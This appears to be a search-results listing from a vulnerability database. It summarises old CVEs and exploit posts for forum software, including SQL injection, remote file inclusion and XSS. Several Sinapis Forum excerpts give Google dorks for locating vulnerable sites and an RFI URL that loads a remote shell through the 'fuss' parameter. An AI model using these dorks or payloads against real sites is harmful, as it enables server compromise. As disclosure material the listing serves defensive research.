7170 matches found
vBulletin 3.6.4 - 'inlinemod.php?postids' SQL Injection
input-cleanarraygpc'p', array 'postids' = TYPESTR, ; $postids = explode',', $vbulletin-GPC'postids'; foreach $pos...
CVE-2007-1131
PHP remote file inclusion vulnerability in sinapis.php in Sinapis Forum 2.2 allows remote attackers to execute arbitrary PHP code via a URL in the fuss parameter...
Remote file inclusion
PHP remote file inclusion vulnerability in sinapis.php in Sinapis Forum 2.2 allows remote attackers to execute arbitrary PHP code via a URL in the fuss parameter...
CVE-2007-1131
PHP remote file inclusion vulnerability in sinapis.php in Sinapis Forum 2.2 allows remote attackers to execute arbitrary PHP code via a URL in the fuss parameter...
CVE-2007-1131
PHP remote file inclusion vulnerability in sinapis.php in Sinapis Forum 2.2 allows remote attackers to execute arbitrary PHP code via a URL in the fuss parameter...
CVE-2007-1131
The CVE-2007-1131 entry affects Sinapis Forum 2.2. A PHP remote file inclusion vulnerability exists in sinapis.php, exploitable via the fuss parameter to execute arbitrary PHP code from a remote URL. Article sources (NVD and CVE lists) corroborate the same description. No remediation or fixed ver...
Admin Phorum 3.3.1a - 'del.php?include_path' Remote File Inclusion
Admin Phorum 3.3.1.a del.php includepathFile Include Vulnerability Author: GoldM Mahmoodali Homepage: Www.Tryag.Cc Download S : http://www.phpforums.net/admin331.zip Other Info : http://www.phpforums.net/index.php?dir=dld v.Code : Line 3 require "$includepath/deletemessage.php"; Exploit:...
Sinapis Forum 2.2 (sinapis.php fuss) Remote File Include Vulnerability
Sinapis Forum 2.2 Found by kezzap66345 Script: http://www.scripter.ch/start.php?id=41.18.9&pos=forum&title=Sinapis20ForumGstebuch20img20src=/pics/gbscr.gif Dork="Sinapis by scripter.ch" Dork1="inurl:sinapis.php" ERROR: if$fuss != ""include$fuss; rfi coded RFI:...
CVE-2006-7064
CVE-2006-7064 covers a cross-site scripting (XSS) vulnerability in Invision Power Board (IPB) versions 2.1.6 and earlier, specifically in forum/admin.php via the phpinfo parameter. The underlying issue is that the phpinfo input is reflected into the administrator session in a way that allows an a...
sinapis-rfi.txt
Sinapis Forum 2.2 Found by kezzap66345 Script: http://www.scripter.ch/start.php?id=41.18.9&pos=forum&title=Sinapis%20ForumGstebuch%20 Dork="Sinapis by scripter.ch" Dork1="inurl:sinapis.php" ERROR: if$fuss != ""include$fuss; rfi coded RFI: http://SITE.com/path//sinapis.php?fuss=SHELL...
Sinapis Forum 2.2 (sinapis.php fuss) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ====================================================================== Sinapis Forum 2.2 sinapis.php fuss Remote File Include Vulnerability ====================================================================== Sinapis Forum 2.2 Found by...
Sinapis Forum 2.2 - sinapis.php?fuss Remote File Inclusion
Sinapis Forum 2.2 - sinapis.php?fuss Remote File Inclusion Sinapis Forum 2.2 Found by kezzap66345 Script: http://www.scripter.ch/start.php?id=41.18.9&pos=forum&title=Sinapis%20ForumGästebuch%20 Dork="Sinapis by scripter.ch" Dork1="inurl:sinapis.php" ERROR: if$fuss != ""include$fuss; rfi coded RFI...
Sinapis Forum 2.2 (sinapis.php fuss) Remote File Include Vulnerability
No description provided by source. Sinapis Forum 2.2 Found by kezzap66345 Script: http://www.scripter.ch/start.php?id=41.18.9&pos=forum&title=Sinapis%20ForumGästebuch%20img%20src=/pics/gbscr.gif Dork="Sinapis by scripter.ch" Dork1="inurl:sinapis.php" ERROR: if$fuss != ""include$fuss; rfi coded RF...
Sinapis Forum 2.2 - 'sinapis.php?fuss' Remote File Inclusion
Sinapis Forum 2.2 Found by kezzap66345 Script: http://www.scripter.ch/start.php?id=41.18.9&pos=forum&title=Sinapis%20ForumGästebuch%20 Dork="Sinapis by scripter.ch" Dork1="inurl:sinapis.php" ERROR: if$fuss != ""include$fuss; rfi coded RFI: http://SITE.com/path//sinapis.php?fuss=SHELL milw0rm.com...
CVE-2006-7013
QueryString.php in Simple Machines Forum SMF 1.0.7 and earlier, and 1.1rc2 and earlier, allows remote attackers to more easily spoof the IP address and evade banning via a modified X-Forwarded-For HTTP header, which is preferred instead of other more reliable sources for the IP address. NOTE: the...
CVE-2006-7013
CVE-2006-7013 affects Simple Machines Forum (SMF) versions 1.0.7 and earlier and 1.1rc2 and earlier. The issue lets remote attackers spoof the user IP and evade bans by manipulating the X-Forwarded-For header, which is treated as the IP source instead of more reliable sources. The root cause is r...
CVE-2006-7013
QueryString.php in Simple Machines Forum SMF 1.0.7 and earlier, and 1.1rc2 and earlier, allows remote attackers to more easily spoof the IP address and evade banning via a modified X-Forwarded-For HTTP header, which is preferred instead of other more reliable sources for the IP address. NOTE: the...
PT-2007-1292 · Simple Machines · Simple Machines Forum
Name of the Vulnerable Software and Affected Versions: Simple Machines Forum SMF versions 1.0.7 and earlier Simple Machines Forum SMF version 1.1rc2 and earlier Description: The issue allows remote attackers to more easily spoof the IP address and evade banning via a modified X-Forwarded-For HTTP...
CVE-2007-0920
CVE-2007-0920 describes an SQL injection vulnerability in philboard_forum.asp in Philboard 1.14 and earlier, allowing remote attackers to execute arbitrary SQL commands via the forumid parameter. The initial entry provides the affected component (philboard_forum.asp) and the vulnerability class (...
Philboard <= 1.14 (philboard_forum.asp) SQL Injection Vulnerability
No description provided by source. ---------------------------------------------------- Philboard id Remote SQL Injection ---------------------------------------------------- Bulan: xoron xoron.info - xoron.biz Google Dork : \"Powered by Philboard\" , \"inurl:philboardforum.asp\"...